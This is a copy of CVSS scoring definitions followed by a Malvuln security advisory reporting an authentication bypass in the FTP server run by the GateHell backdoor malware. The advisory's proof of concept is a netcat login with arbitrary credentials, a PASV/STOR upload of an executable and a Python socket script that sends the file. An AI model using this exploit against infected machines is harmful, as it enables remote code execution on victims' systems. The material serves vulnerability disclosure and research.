The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Backdoor.Win32.GateHell.21 / Authentication Bypass
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/5aa81ddc996be64116754efac0e4f55d.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.GateHell.21
Vulnerability: Authentication Bypass
Description: The malware runs an FTP server on TCP ports 5301,5432,5300,5299,5298,5297,5296 and 5295. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Family: GateHell
Type: PE32
MD5: 5aa81ddc996be64116754efac0e4f55d
Vuln ID: MVID-2022-0559
Disclosure: 04/18/2022
Exploit/PoC:
C:\>nc64.exe 192.168.18.125 5301
220 ICS FTP Server ready.
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,195,126).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *
MALWARE_HOST="192.168.18.125"
PORT=50046
DOOM="DOOM.exe"
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)
while EXE:
s.send(EXE)
EXE=f.read()
s.close()
print("By Malvuln");
if __name__=="__main__":
doit()
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